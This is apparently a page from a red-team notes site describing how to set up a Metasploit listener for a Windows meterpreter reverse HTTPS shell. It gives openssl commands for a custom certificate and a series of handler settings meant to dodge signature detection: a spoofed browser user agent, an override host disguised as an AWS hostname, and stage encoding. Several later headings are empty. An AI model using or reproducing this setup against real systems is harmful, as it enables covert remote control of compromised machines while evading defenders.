Metasploit

We cannot simply use the default setup listener in Metasploit since it will be flagged by signature base.

When using HTTPS encryption, Metasploit will use its own certificate.

Generate Certificate

└─$ openssl req -new -x509 -nodes -out cert.crt -keyout priv.key -newkey rsa:4096 -days 365

└─$ cat cert.crt priv.key > cert.pem

Listener

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 10.10.10.10
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set HttpUserAgent Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
msf6 exploit(multi/handler) > set StagerVerifySSLCert true
msf6 exploit(multi/handler) > set HandlerSSLCert /home/kali/Payload/cert.pem
msf6 exploit(multi/handler) > set OverrideLHOST ec2-10.10.10.10.ap-southeast-1.compute.amazonaws.com
msf6 exploit(multi/handler) > set OverrideLPORT 443
msf6 exploit(multi/handler) > set OverrideRequestHost true
msf6 exploit(multi/handler) > setg ReverseAllowProxy true
msf6 exploit(multi/handler) > exploit

# Encoded in used
msf6 exploit(multi/handler) > set EnableStageEncoding true
msf6 exploit(multi/handler) > set StageEncoder x64/zutto_dekiru

Shellcode Generate

Proxy

Execute-Assembly

PreviousC2 InfrastructureNextExecution

Last updated